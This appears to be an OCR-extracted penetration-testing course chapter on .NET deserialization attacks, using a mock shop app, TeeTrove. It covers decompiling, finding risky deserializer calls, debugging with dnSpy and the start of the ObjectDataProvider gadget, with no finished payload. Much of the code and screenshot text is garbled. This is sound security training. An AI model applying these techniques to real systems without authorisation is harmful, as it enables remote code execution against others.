14. Advanced Deserialization Attacks

Introduction

Introduction to .NET Deserialization Attacks

Note: To fully grasp the concepts taught throughout this module, it is expected that you
have some basic understanding of deserialization vulnerabilities, as well as
basic programming skills, preferably in C#/.NET . Despite the module offering a pre-
customized Windows VM for exploit development in some of the sections, having a local one
will be beneficial.

Serialization is the process of converting an object from memory into a series of bytes. This
data is then stored or transmitted over a network. Subsequently, it can be reconstructed later
by a different program or in a different machine environment. Conversely, deserialization is
the reverse action, wherein serialized data is reconstructed back into the original object.
However, when an application deserializes user-controlled data, there is a risk of
deserialization vulnerabilities occurring, which may be exploited to achieve objectives such
as remote code execution, object injection, arbitrary file read, and denial of

service.

Many programming languages, including Java, Ruby, Python, and PHP, offer serialization
and deserialization runtime libraries. The Introduction to Deserialization Attacks module
covered fundamental deserialization attacks targeting web applications that use PHP and
Python for the backend.

C# , Microsoft's flagship programming language, which utilizes the .NET framework, also
provides multiple serialization technologies; moreover, it is the primary language developers
use while building Internet-connected apps with ASP.NET Core, a widely used web
development framework employed by numerous websites worldwide.

Understanding how to identify and exploit .NET deserialization vulnerabilities not only
strengthens our offensive security toolkit significantly but also provides insights into how
threat actors achieved RCE after exploiting CVE-2023-34362 - the MOVE:it vulnerability that
wreaked havoc globally.

There are three main serialization technologies in .NET : JSON serialization, XML and SOAP

serialization, and Binary serialization:

JSON serialization: Serialize .NET objects to and from JavaScript Object Notation
(JSON).

XML and SOAP serialization: Serialize only the public properties and fields of objects,
not preserving type fidelity.
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Binary serialization: Records the complete state of the object and preserves type
fidelity; when deserializing an object, an exact copy is created.

This module will cover deserialization attacks from a white-box approach, exploiting
vulnerabilities caused by JSON, XML, and Binary serializers available to .NET developers.

We will start with the decompilation of a binary file to retrieve the source code, identify
potentially vulnerable code sections, and set up debugging to aid in exploit development.
Later, we will look into recreating two well-known gadget chains and using them to exploit
three unique deserialization vulnerabilities in a custom application. Following this, we will
look at the target application from a developer's point of view, and how the vulnerabilities we
discover could be patched as well as how vulnerabilities could be avoided in the future. To
finish off the module, you will be tasked with identifying and exploiting a custom
deserialization vulnerability on your own.

Although deserialization vulnerabilities affect applications developed in many languages, for
this module we will focus on C#/.NET . The techniques learned can be repurposed to work
with other languages, such as Java.

A Brief History of Deserialization Vulnerabilities

Deserialization vulnerabilities have been public knowledge for a long time, but interest
exploded in 2015 when the Apache Commons Collections gadget was discovered. A brief
timeline of milestones in deserialization vulnerabilities and attacks is listed below:

2007 : First registered deserialization vulnerability ( CVE-2007-1701) allows attackers
to execute arbitrary code via PHP's session decode.

2011 : First "gadget-based" deserialization vulnerability ( CVE-2011-2894) uses Proxy

and InvocationHandler to achieve arbitrary code execution upon deserialization
against the Spring Framework.

and CVE-2012-0160 which was a deserialization vulnerability in the .NET Framework
leading to arbitrary code execution.

2015 : The Apache Commons Collections gadget is discovered ( CVE-2015-4852,
CVE-2015-7501) which allows attackers to achieve arbitrary code execution against
many more Java applications. ysoserial is released at AppSecCali 2015 which allows
attackers to automatically generate deserialization payloads using the Apache
Commons Collections gadget.

2012 : The White paper " Are you my Type?" is published, discussing .NET serialization

2017 : The white paper ' Friday the 13th JSON Attacks' was released, addressing
deserialization vulnerabilities in .NET. It also introduced ' YSoSerial.NET," a tool
enabling attackers to generate deserialization payloads for .NET using a handful of
gadgets.

Target WebApp: TeeTrove
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Throughout this module, we will analyze and attack a website named TeeTrove, an e-
commerce marketplace specializing in selling custom-designed attire. We were
commissioned by the company behind TeeTrove to conducta white-box penetration
test on the application with the goal being remote code execution. To conduct the
assessment, the company provided us with the compiled deployment files and the
necessary credentials.
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Decompiling .NET Applications

Introduction

As input for this penetration test, we have been provided with the deployment files of the
web application, which were written using C#/ .NET (see the file attached to the question at
the bottom of this page). This is fine for us, since .NET applications are compiled into
intermediate code, known as Common Intermediate Language (also referred to as
Microsoft intermediate language ( MSIL ) or Intermediate Language ( IL)), which, unless
obfuscated, typically decompiles very nicely, resulting in code very similar to the original.

There is a large selection of tools that can be used to decompile .NET applications; popular
ones include:

Jet Brains dotPeek (Free, Windows-only)

ILSpy (Open-source, Cross-platform)

Note: This and the upcoming two sections provide a pre-customized Windows VM with all
the required tools and customizations; utilize it to your advantage throughout the module.
However, it is also recommended that you know how to set up these required tools yourself.
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dotPeek

Installing dotPeek

Let's install dotPeek so that we can decompile the target application. We can download the
installer for free from Jet Brain's Website and start the installation process. During
installation, we can skip all products except for dotPeek.

Install Skip

TeamCity integration provider in Visual Studio

& Visual Studio Integration

& | have read and | accept the license agreement

0 pti ons

Alternatively, we can simply select the portable version from the same download page to
skip any installation process.

Decompiling with dotPeek

Once we have dotPeek open, we can select File > Open and then select
bin\TeeTrove.dll in the file explorer. At this point, dotPeek will add the assembly and
class list to the Assembly Explorer on the left side of the window.
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From this pane, we can expand namespaces and double-click on classes to view the
decompiled source code in the main window pane. Since decompilation is not a perfect
process, there will be some code snippets that will look strange, like the line highlighted with
the red rectangle in the image below.
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Decompiled with JetBrains decompiler

Type: TeeTrove.Controllers.HomeController

Assembly: TeeTrove, Version=1.8.8.8, Culture=neutral, PublicKeyToken=null
MVID: FB655488-4CA9-427C-BCEC-0B911DD67489

Assembly location: C:\Users\bill\Desktop\Workdir\TeeTrove.dll

ing
ing
ing
ing
ing
ing
ing
ing
ing

Microsoft.CSharp.RuntimeBinder;
System;
System.Collections.Generic;
System.Ling;
System.Runtime.CompilerServices;
System.Web.Mvc;
TeeTrove.Authentication;
TeeTrove.Data;

TeeTrove.Models;

mespace TeeTrove.Controllers

[CustomAuthorize]
public class HomeController :

{

Controller

[AllowAnonymous ]

[HttpGet]

public ActionResult Index()
{

using (DataContext dataContext = new DataContext())

/f ISSUE: reference to a compiler-generated field
if (HomeController.<»>o_ 1.<»p_ @ == null)

// ISSUE: reference to a compiler-generated field
HomeController. <»>o__1.<»p_ @ = CallSite<Func<CallSite, object, List<Tee», object>».Create(Binder

CsharpArgumentInfo.Create(CSharpArgumentInfoFlags .None, (string) null),
CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType, (string) null)

s
¥

/f ISSUE: reference to a compiler-generated field
// ISSUE: reference to a compiler-generated field
object obj = HomeController.<>o_ 1.<>p_ @.Target((CallSite) HomeController.<>o_ 1.<>p_ @, ((Contm

return (ActionResult) this.view();
1



By right-clicking on the TeeTrove assembly in the Assembly Explorer window, we can
select Export to Project to save the decompiled source files to disk (as a Visual Studio
solution in this case). This can be useful later, in case you want to use another tool to
analyze/search through the source code.
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ILSpy
Installing ILSpy

We can download the latest ILSpy release by heading to the project's GitHub repository's
release page. If you would prefer a portable version, select the selfcontained ZIP file. If
you would prefer to install ILSpy , then select the first -x64.msi file. Your browser may
issue a warning about downloading a MSI file, but this can be ignored. Once downloaded,
we can click through the installation process, keeping all default values.

Decompilng with ILSpy

Once installed, the decompilation process with ILSpy is very similar to dotPeek; hit File >
Open and then select the DLL file bin\TeeTrove.dll in the file explorer window. The .NET
assembly will be added to the Assemblies window on the left-hand side of the screen, and
some assembly information will be displayed in the main window.
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57 ILspy
File View Window Help

Q 2. ) | (Default) ME IR R v cENO/VS202.v By @ 0
=8
+ BI Metadata J/ C:\Usershbill\Desktop\Workdir\TeeTrove.dll
+ & References // TeeTrove, Version=1.8.8.8, Culture=neutral, PublicKeyToken=null
1 Resources // Global type: <Module>
) - // Architecture: AnyCPU (64-bit preferred)
// Runtime: v4.8.38319
# A} TeeTrove // Hash algorithm: SHAL
+ {} TeeTrove Authentication
+ {} TeeTrove.Controllers +using |...
+ {} TeeTrove.Data
+ {} TeeTroveMigrations [assembly: CompilationRelaxations(g)]
+ {) TeeTrove.Models [assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]

[assembly: Debuggable(/*Could not decode attribute arguments.*/)]
[assembly: AssemblyTitle("TeeTrove")]

[assembly: AssemblyDescription("")]

[assembly: AssemblyConfiguration(""}]

[assembly: AssemblyCompany("")]

[assembly: AssemblyProduct("TeeTrove")]

[assembly: AssemblyCopyright("Copyright @ 2823")]

[assembly: AssemblyTrademark("™")]

[assembly: ComVisible(false)]

[assembly: Guid("e28c326c-984a-4588-blec-96d48eb39e9d™)]
[assembly: AssemblyFileVersion("1.8.8.8")]

[assembly: TargetFramework(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".MET Framew
[assembly: AssemblyVersion("1.@.@.8")]

Using the Assemblies window, similar to dotPeek, we can navigate the namespaces and
classes, and we can select individual ones to view the decompiled source code in the main
window. You may notice that the output varies from dotPeek in certain places, for example,
the Index function below compared to the Index function according to dotPeek above. In
this case, ILSpy gave us output that is closer to the original code.

Assemblies

S 28 ' Bl HomeController

= =B TeeTrove (1.0.0.0, .NETFramework, v4.7.2)

Warning: Some assembly references could not be resoclved automatically. This might lead to incorrect de

+ Bl Metadata = for ex. property getter/setter access. To get optimal decompilation results, please manually add the m
+ o References
s Resources 2= Show assembly load log
+{} - // TeeTrove, Version=1.0.8.8, Culture=neutral, PublicKeyToken=null
+ {} TeeTrove // TeeTrove:Controllers.HomeController
- {} TeeTrove.Authentication +using [...
+ *z AuthCookieltil [Customlithorize]
+ %% CustomAuthorizeAttribute public class HomeController : Controller
+ %z CustomMembership -{
a3 CustomMembershipUser [AllowAnonymous ]
+ *3 CustomPrincipal [HttpGet]
+ "z RememberiMe public ActionResult Index()
+ %3 RememberMeltil T {
+ %2 Session DataContext dataContext = new DataContext();
= {} TeeTrove.Controllers try
+ %5 AuthController ((dynamic)((ControllerBase)this).viewBag).Tees = ((IEnumerable<Tees)dataContext.Tee).ToList();
o }
+ " TeesController finally
+ {} TeeTrove.Data
+ {} TeeTroveMigrations ((IDispesable)dataContext)?.Dispose();
§ {nizj:lel;ll—'zofvelmoﬁdj‘!lsETFramE-»-‘clIr_ return (ActionResult)(object)((Controller)this).View();
; , NETFramework, v4. ¥
[AllowAncnymous]
[HttpGet]

public ActionResult Privacy()

return (ActionResult)(object)((Controller)this).View();

B R I TR A A e

By right-clicking on the TeeTrove assembly in the Assemblies window, we can select Save
Code to save the decompiled source files so that they can be opened with other tools.



Bl Metadata Generate portable PDE 11\Desktop\Workdir\TeeTrove.dll

+
+ A" Beferences Select PDB ersion=1.8.8.8, Culture=neutral, Public
+ Resources S Al lles
— Remove e: AnyCPU (B4-bit preferred)
# - .2.38319
+ {} TeeTrove ) Reload thm: SHAL
+ {} TeeTroveAuthentica _
+ {} TeeTrove.Controllers Decompile to new tab MIME
+ {} TeeTrove.Data Scope search to this assembly . . .
+ {} TeeTroveMigrations p:!.latmnREIILa?:aanst:SJ] .
# {} TeeTrove.Models FH S5aveCode.. t1mECDmpa!t.1h111ty('I.x.lr‘apNDnExcethI.DnTher
uggable(/*Could not decode attribute ar
Load Dependencies emblyTitle("TeeTrove")]
emblyDescription(""}]
Open Containing Folder emblyConfiguration("")]

emblyCompany("")]

Open Command Line H..EFE emblyProduct ("TeeTrove")]

Note: Opting for TCP instead of UDP for the VPN connection to the Windows VM enhances
connectivity and prevents (potential) network issues.

Identifying Vulnerable Functions

Introduction

Now that we have TeeTrove decompiled (either with dotPeek or ILSpy ), we can start
looking through the source code for potential vulnerabilities; in the case of this module that
means we will be looking exclusively for potential deserialization vulnerabilities in
the code base.

(Potentially) Vulnerable Functions

There are many different data serializers available for C#/ .NET, including those dealing
with binary, YAML, and JSON schemes. Luckily for us (attackers), many of these
serializers can be vulnerable and may be exploited in a very similar fashion.

Below is a table of common .NET serializers (listed alphabetically), with respective
examples of calls to their deserialization functions (and links to documentation). When
conducting a penetration test with access to source code, searching for the example
functions can be a good way to quickly identify potential deserialization vulnerabilities.

Serializer Example Reference
BinaryFormatter .Deserialize(...) Microsoft
fastJSON JSON.ToObject(...) GitHub
JavaScriptSerializer .Deserialize(...) Microsoft
Json.NET JsonConvert.DeserializeObject(...) Newtonsoft
LosFormatter .Deserialize(...) Microsoft

NetDataContractSerializer .ReadObject(...) Microsoft


https://learn.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.binary.binaryformatter?view=net-7.0
https://github.com/mgholam/fastJSON
https://learn.microsoft.com/en-us/dotnet/api/system.web.script.serialization.javascriptserializer?view=netframework-4.8.1
https://www.newtonsoft.com/json
https://learn.microsoft.com/en-us/dotnet/api/system.web.ui.losformatter?view=netframework-4.8.1
https://learn.microsoft.com/en-us/dotnet/api/system.runtime.serialization.netdatacontractserializer?view=netframework-4.8.1
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Serializer Example Reference

ObjectStateFormatter .Deserialize(...) Microsoft

SoapFormatter .Deserialize(...) Microsoft

XmlSerializer .Deserialize(...) Microsoft

YamIDotNet .Deserialize<...>(...) GitHub
ViewState

Aside from the functions listed above, there is a feature called ViewState which some
ASP.NET applications use to maintain the state of a page. The process involves storing a
serialized parameter in a cookie called  VIEWSTATE and it is sometimes possible to exploit
this if the server is misconfigured. Attacks exploiting ViewState will not be covered in this
module, but for the interested reader, the following resources cover the basics:

Exploiting Deserialization in ASP.NET via ViewState
Exploiting_ViewState Deserialization using_blacklist3r and YSoSerial.NET

Black-Box

Depending on the type of engagement, we might not always have access to the application's
source code or binary file. Therefore, to identify potential deserialization functions, we need
to search for specific bytes or characters (referred to as magic bytes ) in the data sent from
the web client to the server.

For .NET Framework applications, we can keep an eye out for the following:

Base64-encoded strings beginning with AAEAAAD/////
Strings containing $type

Strings containing  type

Strings containing TypeObject

Not Always Vulnerable

It is important to keep in mind that not every use of a deserialization library
function may be vulnerable! Suppose we want to create a class named ExampleClass
that implements the function Deserialize . This function utilizes JavaScriptSerializer to
deserialize a Person object (defined below) provided to the function as a string.

public class

{
public string Name { get; set; }
public int Age { get; set; }


https://learn.microsoft.com/en-us/dotnet/api/system.web.ui.objectstateformatter?view=netframework-4.8.1
https://learn.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.soap.soapformatter?view=netframework-4.8.1
https://learn.microsoft.com/en-us/dotnet/api/system.xml.serialization.xmlserializer?view=net-7.0
https://github.com/aaubry/YamlDotNet
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One way a developer might implement ExampleClass is like this:

using System.Web.Script.Serialization;

public class

{
public Serializer { get; set; }
public < >(string str)
{
return this.Serializer. < >(str);
}
}

Another developer may decide to implement the function slightly differently, and instantiate a
new JavaScriptSerializer each time like this:

using System.Web.Script.Serialization;

public class

{
public ze<Person>(string str)
{
r serializer = new ();
return serializer. < >(str);
}
}

In this case, the difference is very small, and yet the first example is potentially vulnerable,
while the second is completely safe. The reason for this is that in the first case, an attacker
may be able to control the instantiation of the object's Serializer. If the
SimpleTypeResolver is used when instantiating a JavaScriptSerializer, then the
subsequent deserialization will be susceptible to exploitation.

example = new ();
example.Serializer = new (new ));
example. ("...[Payload]...");

This is just one example (based on Microsoft's code analysis rule CA2322) of a slight
difference in implementation leading to a potential vulnerability, but many others are affecting


https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca2322

the various serializers. The main point to take away from this example is
that deserialization libraries are notinherently vulnerable. Oftentimes, the context (in
this case the type of Resolver) is important in determining the security of a code snippet.

Hunting for Deserialization

At this point, we have TreeTrove's decompiled source code and a better understanding of
what we want to look for to identify potential deserialization vulnerabilities.

We can either search through the assembly right inside dotPeek/ ILSpy, or through the
exported decompiled code using tools such as IDEs or scripting languages. For example,
let's use the Select-String PowerShell cmdlet to search for .Deserialize( like so.

C:\> -Pattern "\.Deserialize\(" -Path "*/*" -Include
“*.CS“

As you can see below, we already found two spots that are potentially vulnerable to
deserialization attacks.

ecompi led>
ecompiled> Select-String

janced: ; P - T - : : : 3
TeeTr session = (Session)binaryFormatter.Deserialize(serializationStream);

p1i . )
TeeTr ntroll Tee tee = (Tee)xmlserializer.Deserialize(new XmlTextReader(new StringReader(text)));

PS C:\Users\bill\Desktop\Workdir\TeeTrove-Decompiled> _

In the upcoming sections, we will determine whether the deserialized objects are controlled
by user input, and whether the use of the deserialization functions is indeed vulnerable.

Debugging .NET Applications

Introduction

Sometimes we want to be able to see how the target application handles data in real-
time . For example, imagine we have identified a potential deserialization vulnerability, but
the payload we are using doesn't work and we aren't sure why. By debugging the
application, we can step through the relevant code 1line-by-1line until we realize why the
payload is not working.

Typically, debugging requires the source code of an application. However, when it comes to
.NET , we can use another open-source tool called dnSpy to do the same with decompiled
code.

Running TeeTrove


https://github.com/dnSpyEx/dnSpy
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Installing Internet Information Services (lIS)

The deployment files that we were provided for TeeTrove are not standalone, as we need
another program to run the application. In this case, we will use I1IS to serve the web
application locally, so that we can debug it.

I1IS comes by default with Windows, however, it may not be enabled by default on your
installation. To enable 1IS, openthe Start Menu and search for Turn Windows Features
on or off . Inside the window, we want to click on Internet Information Services.
Next, expand the dropdown and ensure the following features are enabled, paying special
attention to the ones highlighted in red:

- [®]  Internet Information Services
= FTP Server
= m] | Web Management Tools
# [] | 15 6 Management Compatibility
I 115 Management Consolel
] | 115 Management Scripts and Tools
[ | 115 Management Service
- W World Wide Web Services
= ] | Application Development Features
[J | .METExtensibility 3.5
NET Extensibility 4.8
[ | Application Initialization
O | asp
[ ASP.NET3.5
ASPNET 4.8
O | cal
ISAP| Extensions
ISAPI Filters
[0 Server-Side Includes
[0 WebSocket Protocol
- m | Commen HTTP Features
Default Document
Directory Browsing
HTTP Errors
[0 | HTTP Redirection
[J | WebDAV Publishing
+ @] | Health and Diagnostics
+ [ | Performance Features

+ (W] | Security

Once the appropriate options are checked, we can click 0K and Windows will automatically
download any missing files.

Configuring IIS

Before we can configure IIS, we need to make sure the supplied deployment files are
extracted somewhere the server can access, like C:\inetpub\wwwroot . Next, we need to
modify Web.config so that the application can access the database file correctly; open
Web.config in the text editor of your choice, scroll to the bottom of the file, and update the
value of Data Source to the full path of the TeeTrove.db file in the same folder.
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6)" invariant=

«t” connectionString="Data

Now we are ready to configure IIS.Openthe Start Menu and search for Internet
Information Services (IIS) Manager . Inside, right-click Sites and select Add
Website . Fill out the popup window like shown below, and make sure that the Application
Pool is setto .NET v4.5, otherwise, it will not serve the application correctly!

Add Website ? >

Site name:

|TeeTrn:-~.re | I MET vd.ﬁl Select...

Content Directory
Physical path:
| Chinetpubhwwwroot TeeTrove. Publish, |

Pass-through authentication

Connect as... Test Settings...
Binding
Type: IP address: Port:
http ~ | |All Unassigned v| |EDD[1 |
Host name:

Example: www.contoso.com or marketing.contoso.com

Start Website immediately

QK Cancel

Hit 0K and now TeeTrove should be accessible at hitp://localhost:8000.



http://localhost:8000/

qqu’mve A Home

One in a Minion

€12.99

oo

ONE IN A
MINION

Awesome dad
€16.49

W Add to Cart

=] Login

Be Creative

€24.99

=

Sugababes
€12.99

o

And now there is just one final step to make sure we can write to the database. Browse to

the location where the deployment files are, right-click the folder, and modify the
permissions so that the IIS IUSRS user has write permissions on the folder.

» ThisPC » Local Disk (C:) * inetpub » wwwroot

N

~ MName Date modified Type
aspnet_client 10/10/2023 8:04 AM File folder
TeeTrovq rolcler
B iisstart.h fox HTML Doc...
Kk iisstart.p| General Sharng Securty Previous Versions Customize { File
|
1ai Object name:  C:hinetpubwwwroot' Tee Trove . Publish
Group or user names:
riz S8 Users (DESKTOP-IVDRUAJ\Users) ~
BR115_IUSRS (DESKTOP-VDRUAJMIS_IUSRS)
! A2 Trustedlnstaller
De v
£ >
=
& To change pemissions, click Edit.
1gi
m Pemissions for 115 Permissions for TeeTrove.Publish
Full contral Securt
Moy scurty
Read dexecuts  Object name:  Crinetpubwwwroct' Tee Trove. Publish
Ex List folder contel
Read Group or user names:
) White a bill (DESKTOP-IVDRUAJbill) ~
or For special permis SR Administrators (DESKTOP-IVDRUAJ Administrators)
click Advanced. SR Users (DESKTOP-IVDRUAJ Users)
A [1S_IUSRS (DESKTOP-IVDRUAJMIS_IUSRS)
SR Trustedlnstaller W
v £ >
«cted Add.. Remove
Pemissions for I15_IUSRS Alow Deny
Read & execute O ~
List folder contents O
Read O
| Wirite bl O
Special permissions W
Cancel Aoply

Size

Debugging TeeTrove

[J) 2 Search wwwroot

1KB
97 KB
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Preparing the DLL Files for Debugging

Before we can get into debugging, we need to "prep" the files. By default, IIS makes
debugging complicated by optimizing the assemblies. To prevent this from happening, we
can use a PowerShell script to disable optimization.

Download the following PowerShell Module, and run the following commands (replacing the
last path with wherever you placed the application):

C:\> .\IISAssemblyDebugging.psml
C:\> C:\inetpub\wwwroot\TeeTrove.Publish\

Installing dnSpy

Now that we have TeeTrove running, and the application files are prepped for debugging,
let's work on getting our debugging environment set up. For this, we will need to install
dnSpy. Head to the GitHub repository's Releases page, and then download the latest -
win64.zip archive.

v Assets s

@dnSpy-net-win32.zip

|@dnSpy—net—\,\rinG‘t.zip 83.5 MB

@dnSpy—netframe\,\rork.zip 26.8 MB
[)source code (zip)

[})source code (tar.gz)

B3 &2 @1 g1 g7 30peoplereacted

Once downloaded, simply extract the archive and the tool is ready to be used!

Debugging TeeTrove with dnSpy

Finally, open up dnSpy as Administrator. The layout will be similar to both dotPeek and
ILSpy ; there is an Assembly List on the left-hand side, and the main window pane is
where decompiled code will be displayed.

From the File menu, select Open and select all the DLL files in the application folder.


https://gist.github.com/richardszalay/59664cd302e66511618f51eaaa77db26
https://github.com/dnSpyEx/dnSpy
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Edit View Debug Window Help

W' Open

T+ » ThisPC » Local Disk (C:) » inetpub » wwwroot » TeeTrowvePublish » bin » Search bin

Organize « Mew folder
MName Date modified Type

roslyn f File folder

x64 2023 AM File folder

x86 File folder
|%] Antlr3.Runtime.dIl /8 A7 Ph Application exten... 101 KB
|%] BCrypt.Net-Next.dll f 47 PR Application exten... 23 KB
|#] EntityFramewark.dll /8 47 PR Application exten... 4,875 KB
|%] EntityFramework.SqlServer.dll A7 P Application exten... 578 KB
|%] Microsoft.CodeDom.Providers.DotMetCo... A7 P Application exten... A0 KB
|%] Microsoft.Web.Infrastructure.dll /872023 1:47 PM Application exten... 50 KB
|%] Newtonsoft.Json.dll 47 P Application exten... 660 KB
|%] System.Buffers.dIl 47 Application exten... 21 KB
|%] System.Data.50Lite.dll / 47 P Application exten... 422 KB
|| Systern.Data.50Lite.EF6.dll /8 A7 P Application exten... 202 KB
|#] System.Data.S0Lite.EF6.Migrations.dIl 0/8 47 P Application exten... 37KE

File name: |"Antlr3.Runtime‘dII" "BCrypt.Met-Next.dll" “EntityFramework.dll* “EntityFramework.SqlServer.dil” V| .MET Executables (*.exe, *.dll, *. ~

Next, select Debug > Attach to Process and look for w3wp.exe . If it does not appear in
the list, send any request to the web application and click Refresh, it should show up.

Search

Process ) e Type Architecture Filename

ram Fi

Refresh Use 32-bit dnSpy to attach to 32-bit processes o Attach Cancel

At this point, if everything was done correctly, debugging should be working. We can test this
by opening TeeTrove.Controllers.AuthController and setting a breakpoint on line

18 . We can try to load http://localhost:8000/Auth/Login in the browser, and the application
should break, allowing us to step through lines and view the values of variables.



http://localhost:8000/Auth/Login
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TeeTrove. Authentication.C
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Breakpoint #2 : pid=8432(w3wp.exe), TeeTrove.dil

The ObjectDataProvider Gadget
What is a Gadget?

During engagements, to achieve objectives such as arbitrary file writes or remote code
execution through a deserialization attack, it is necessary to use a so-called gadget, orin
some cases, a combination of gadgets called a gadget chain.A gadget is an object set
up in a specific way so that it executes a desired set of actions upon deserialization, most
importantly, in the context of attacks we want to carry out.

Note: Identifying gadgets (and vulnerable deserialization libraries) ourselves is outside of
the scope of this module because it requires a lot of research, and so we will be relying on
public findings and papers.

ObjectDataProvider

What is ObjectDataProvider?

Let's look at a well-known gadget for .NET, which can be used to execute arbitrary
commands using the ObjectDataProvider class.

According to Microsoft's documentation, the 0ObjectDataProvider class can be used to
"wrap and create an object that can be used as a binding source". This description probably
doesn't make a lot of sense, so let's elaborate a little bit. The ObjectDataProvider class is
part of the Windows Presentation Foundation, which is a .NET framework for developing
graphic user interfaces (GUIs) with XAML (Microsoft's variant of XML ). Taking a look at an
example that Microsoft provides (listed below), the description starts to make a bit more

sense. We can see that in this case, a new Person object is created with the constructor


https://learn.microsoft.com/en-us/dotnet/api/system.windows.data.objectdataprovider?view=windowsdesktop-7.0
https://learn.microsoft.com/en-us/dotnet/desktop/wpf/overview/?view=netdesktop-7.0
https://learn.microsoft.com/en-us/dotnet/desktop/wpf/data/how-to-make-data-available-for-binding-in-xaml?view=netframeworkdesktop-4.8
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parameter "Joe", and that the Name property of the resulting object is accessed near the

bottom of the document.

<Window
xmlns="
="
src="
system="
SizeToContent="

Title="

<Window.Resources>

<0ObjectDataProvider x:Key=" " ObjectType="
">
<ObjectDataProvider.ConstructorParameters>
<system:String>Joe</system:String>

</0bjectDataProvider.ConstructorParameters>

</0bjectDataProvider>

<SNIP>

</Window.Resources>

<Border Margin="25" BorderBrush=" " BorderThickness="3" Padding="8">
<DockPanel Width=" " Height=" ">
<SNIP>
<TextBlock Text=" rCek
" /s
</DockPanel>
</Border>
</Window>

Most importantly, we notice that the object was created without any function calls!
When we deserialize an object in .NET we can't execute any functions, so the fact that
ObjectDataProvider does so automatically is very interesting for us as attackers.

How does it work?

Let's take a look at why this is possible. We can open PresentationFramework.dll in
ILSpy to look at what goes on behind the scenes. Select File > Open from GAC to open
a library from the Global Assembly Cache, in this case, PresentationFramework .


af://h4-33

=55 Open From GAC — O *
Search: presentationframework
Reference Mame = Version Culture Public Key Token -
PresentationFramework 4.0.0.0 neutral 31bf3856ad364e3s  ChAWindows\Microsoft.
PresentationFramework-5ystemCore 4.00.0 neutral b77a5c561934e08% C\Windows\Microsoft.M
PresentationFramework-SystemData 40,00 neutral b7 7a3c361934e029 CAWindows\Microsoft.
PresentationFramework-SystemDrawing 4.0.0.0 neutral b77a5c361934e089  CAWindows\Microsoft.M
PresentationFramework-SystemXml 4000 neutral b Ta5c561934e08% CAWindows\Microsoft.M
PresentationFramework-SystemXmiLing 4.0.0.0 neutral b77a3c361934e089  CAWindows\Microsoft.M
PresentationFramework.Aero 4.0.0.0 neutral 31bf3856ad3bde3s  CAWindows\Microsoft.M
PresentationFramework.Aerod 4.0.0.0 neutral 31bf3856ad36deds  ChAWindows\Microsoft.h
PresentationFramework.Aerolite 4.0.0.0 neutral 31bf3856ad364e3s  ChAWindows\Microsoft.h -
£ b
Open Cancel

Navigating to System.Windows.Data and then ObjectProvider, we can open the
decompiled source code, and the first thing we notice is

that ObjectDataProvider

) CollectionSynchronizationCallback
CollectionView
CollectionViewGroup
CollectionViewRegisteringEventArgs
CollectionViewSource
CompositeCollection
DataChangedEventManager
DataTransferEventirgs
FilterEventérgs
FilterEventHandler
GroupDescription5electorCallback
IMultiValueConverter
WalueConverter
ListCollectionView

MultiBinding
MultiBindingExpression

+ % Base Types

+ % Derived Types

T . S L L T SR A I T S S

FAFIFLIBBLI222IIID

-~

inherits DataSourceProvider.

|/.-"' PresentationFramework, Version=4.8.8.8, Culture=neutral, PublicKeyToken=31bf3856ad364e35
// system.Windows.Data.ObjectDataProvider

+ using |.. .|
//{ <summary>Wraps and creates an object that you can use as a binding source.</summary:
[Localizability(localizationCategory.Neverlocalize)
public class|ObjectDataProvider : DataSourceProvider

—{

+

private enum SourceMode

private Type _objectType;

private object _objectInstance;

private string _methodName;

private DataScurceProvider _instanceProvider;

private ParameterCollection _constructorParameters;

neduata Darcamatartallactinn mofhadDaramatores

Scrolling down a bit to look at the MethodName field, we notice that the Refresh method is

called when the value is set. This is important, because when an object is deserialized in

C#, an empty instance is created and the properties are then set one by one, so this
Refresh function will end up being called upon deserialization.




+

BindingExpression
BindingExpressionBase
BindingGroup
BindingListCollectionView
BindingMode

BindingOperations

BindingStatus
BindingStatusinternal
CollectionContainer
CollectionRegisteringEventirgs
CollectionSynchronizationCallback
CollectionView
CollectionViewGroup
CollectionViewRegisteringEventArgs
CollectionViewSource
CompositeCollection
DataChangedEventManager
DataTransferEventArgs
FilterEventArgs

FilterEventHandler
GroupDescriptionSelectorCallback
IMultiValueConverter
ValueConverter
ListCollectionView

MultiBinding
MultiBindingExpression

+  Base Types

+ Derived Types
e

Snnrrebdnde

e L S L e "
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:.-".-“'_-*' <summary>Gets or sets the object used as the binding source.</summary >j
public cbject ObjectInstance

/// <summary>Gets or sets the name of the method to call.</summary:

[Defaultvalue(null)]
public string MethodName
{
get
1
return _methodName ;
}
set
_methodName = value;
OnPropertyChanged( "MethodName™ ) ;
if (!base.IsRefreshDeferred)
Refresh();
}
}

}

VV// <summary>Gets the list of parameters to pass to the constructor.</summary>
public IList ConstructorParameters =» _constructorParameters;

:..-"..-"_.-" <summary>Gets the list of parameters to pass to the method.</summary >:
public IList MethodParameters => _methodParameters;

[/// <summary>Gets or sets a value that indicates whether toc perform cbject creation in
[DefaultValue(false)]
public bool IsAsynchronous

Refresh is a method defined in DataSourceProvider, and we can see that it simply calls

the BeginQuery method.

L L pewy

- {} System.Windows.Data

=%

+ % Base Types

Derived Types
DeferHelper
_data: object
_deferLevel @ int
_dispatcher : Dispatcher
_error: Exception
_initialLoadCalled : bool
_isInitialLoadEnabled : bool
DataChanged : EventHandler
PropertyChanged : PropertyChanc
UpdateWithMewResultCallback : D
Data : object
Dispatcher : Dispatcher
Error: Exception
IslnitialLoadEnabled : bool
IsRefreshDeferred : bool
DataChanged : EventHandler
PropertyChanged : PropertyChanc
Systern.ComponentModel. |Notifyl
DataSourceProvider()
DataSourceProvider()
Beginlnit() : void
BeginQuery() : void
DeferRefresh() : [Disposable
EndDefer() : void
" Endlnit() : void

InitialLoad() : void

3
3

+ o+ 4+ o+ o+ o+ o+t

2 DN e e e e e L0000, 0.0,0,0,.0,7 ¢

o

/// <summary>Occurs when the <see cref=
public event EventHandler DataChanged;

/> proper

/// <summary>Occurs when a property value changes.</summary>
event PropertyChangedEventHandler INotifyPropertyChanged.PropertyChanged

///{ <summary>Occurs when a property value changes.</summary:
protected virtual event PropertyChangedEventHandler PropertyChanged;

/// <summary>Initializes a new instance of the <see cref=
protected DataSourceProvider()

/// <summary>Starts the initial query to the underlying data model. The result is returned on th
